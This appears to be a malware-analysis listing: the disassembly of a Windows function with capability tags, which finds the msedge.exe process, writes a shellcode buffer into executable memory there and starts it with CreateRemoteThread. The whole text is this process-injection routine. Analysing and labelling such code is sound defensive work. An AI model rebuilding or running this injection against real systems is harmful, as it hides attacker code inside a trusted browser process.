Function at 0x140001190
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
push rdi
sub rsp, 0x378
mov rax, qword [0x14003e038]
xor rax, rsp
mov qword [rsp + 0x360], rax
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0xffffffffffffffff
jne 0x1400011f1
lea rdx, str.Failed_to_create_process_snapshot
lea rcx, [0x14003f420]
call fcn.1400015e0
lea rdx, [0x140002880]
mov rcx, rax
call fcn.1400041b0
mov eax, 1
jmp 0x1400014e3
mov dword [rsp + 0x70], 0x130
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x140001238
lea rdx, str.Failed_to_get_first_process
lea rcx, [0x14003f420]
call fcn.1400015e0
lea rdx, [0x140002880]
mov rcx, rax
call fcn.1400041b0
mov eax, 1
jmp 0x1400014e3
mov dword [rsp + 0x48], 0
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140001296
lea rdx, str.msedge.exe
lea rcx, [rsp + 0x9c]
call fcn.1400120a0
test eax, eax
jne 0x140001294
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x48], eax
mov edx, dword [rsp + 0x48]
lea rcx, [0x14003f420]
call fcn.140003fe0
lea rdx, [0x140002880]
mov rcx, rax
call fcn.1400041b0
jmp 0x140001296
jmp 0x140001240
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x48], 0
jne 0x1400012d4
lea rdx, str.Could_not_find_legitimate.exe_process
lea rcx, [0x14003f420]
call fcn.1400015e0
lea rdx, [0x140002880]
mov rcx, rax
call fcn.1400041b0
mov eax, 1
jmp 0x1400014e3
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x14000131f
lea rdx, str.Failed_to_open_target_process
lea rcx, [0x14003f420]
call fcn.1400015e0
lea rdx, [0x140002880]
mov rcx, rax
call fcn.1400041b0
mov eax, 1
jmp 0x1400014e3
lea rax, [rsp + 0x1a0]
lea rcx, [0x14002d4c0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1b2
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x1b2
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x1400013a0
lea rdx, str.Failed_to_allocate_memory_in_target_process
lea rcx, [0x14003f420]
call fcn.1400015e0
lea rdx, [0x140002880]
mov rcx, rax
call fcn.1400041b0
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400014e3
mov qword [rsp + 0x20], 0
mov r9d, 0x1b2
lea r8, [rsp + 0x1a0]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000141e
lea rdx, str.Failed_to_write_shellcode_to_target_process
lea rcx, [0x14003f420]
call fcn.1400015e0
lea rdx, [0x140002880]
mov rcx, rax
call fcn.1400041b0
mov r9d, 0x4000
mov r8d, 0x1b2
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400014e3
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x1400014aa
lea rdx, str.Failed_to_create_remote_thread_in_target_process
lea rcx, [0x14003f420]
call fcn.1400015e0
lea rdx, [0x140002880]
mov rcx, rax
call fcn.1400041b0
mov r9d, 0x4000
mov r8d, 0x1b2
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400014e3
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x4000
mov r8d, 0x1b2
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x360]
xor rcx, rsp
call fcn.14000b8e0
add rsp, 0x378
pop rdi
pop rsi
ret